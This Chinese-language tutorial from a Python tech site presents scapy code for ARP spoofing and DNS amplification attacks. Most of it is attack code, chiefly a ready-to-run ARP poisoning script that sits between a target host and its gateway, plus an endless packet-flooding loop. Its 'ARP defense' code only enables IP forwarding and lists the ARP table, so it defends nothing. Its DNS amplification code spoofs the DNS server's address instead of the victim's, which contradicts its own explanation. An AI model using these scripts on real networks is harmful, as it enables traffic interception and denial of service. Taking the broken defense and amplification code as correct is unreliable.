我会给出基于Python中使用scapy模拟数据包实现arp攻击、dns放大攻击的完整攻略,并附上相应的示例说明。
一、arp攻击
1.1 arp欺骗
攻击机发送arp响应欺骗目标机,使得目标机将攻击机当作网关,将数据包发往攻击机上,达到窃取目标机信息的目的。
示例代码:
from scapy.all import *
import os
import sys
import threading
tgt_ip = "192.168.1.100" # 目标主机IP
gtw_ip = "192.168.1.1" # 网关IP
tgt_mac = "" # 目标主机MAC
gtw_mac = "" # 网关MAC
def get_mac(ip_addr):
responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_addr), timeout=2, retry=10)
for s, r in responses:
return r[Ether].src
return None
def arp_poison(tgt_ip, tgt_mac, gtw_ip, gtw_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gtw_ip
poison_target.pdst = tgt_ip
poison_target.hwdst = tgt_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = tgt_ip
poison_gateway.pdst = gtw_ip
poison_gateway.hwdst = gtw_mac
print("[*] 开始ARP欺骗,按Ctrl+C可停止")
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
print("[*] 停止ARP欺骗")
sys.exit(1)
def main():
global tgt_mac
global gtw_mac
tgt_mac = get_mac(tgt_ip)
if tgt_mac is None:
print("[!] 获取目标主机MAC失败")
sys.exit(1)
else:
print("[*] 目标主机MAC:", tgt_mac)
gtw_mac = get_mac(gtw_ip)
if gtw_mac is None:
print("[!] 获取网关MAC失败")
sys.exit(1)
else:
print("[*] 网关MAC:", gtw_mac)
# 创建ARP欺骗线程
arp_thread = threading.Thread(target=arp_poison, args=(tgt_ip, tgt_mac, gtw_ip, gtw_mac))
arp_thread.start()
if __name__ == '__main__':
main()
1.2 arp防御
采取静态ARP和动态ARP配合的方式,可以有效避免arp欺骗攻击。
静态ARP:由管理员手动定义IP地址和MAC地址的对应关系,此绑定关系无法自动更新。相当于将MAC地址绑定到相应的IP地址上,这样的绑定关系在网络中是静态不变的。
动态ARP:动态获取邻居信息(邻居就是在局域网中设置相同的网关的计算机)。在ARP协议中,有一种请求报文是“who has”,就是用来查询目标机器MAC地址的。发送“who has”报文请求的目标地址不存在时,会广播ARP请求报文,这时每台主机都会接收到该广播并且将自己的MAC地址回送给请求的机器,这样目标机器就获得了合法的下一跳MAC地址信息。
示例代码:
import os
import time
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') # 打开IP转发
while True:
os.system('arp -a')
time.sleep(5)
二、dns放大攻击
2.1 原理
既然我们能够自己伪造udp数据包,也就可以在发送数据包的时候将目标IP地址篡改成公共的DNS服务器IP地址,这样,通过DNS服务器就能向指定的目标ip发送非常大的响应包,从而攻击目标服务器主机。
2.2 示例代码
以下代码演示了如何通过scapy构造UDP包中的DNS消息格式,从而完成DNS放大攻击。
from scapy.all import *
import random
target_ip = "172.16.1.5" # 目标主机IP
spoof_ip = "8.8.8.8" # DNS服务器IP
target_port = 53 # 目标主机端口
query = DNS(rd=1, qd=DNSQR(qname="www.runoob.com"))
ip = IP(src=spoof_ip, dst=target_ip)
udp = UDP(sport=random.randint(1024, 65535), dport=target_port)
pkt = ip/udp/query
while True:
send(pkt)
以上就是基于Python中使用scapy模拟数据包实现arp攻击、dns放大攻击的完整攻略,以及两个示例代码。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子 - Python技术站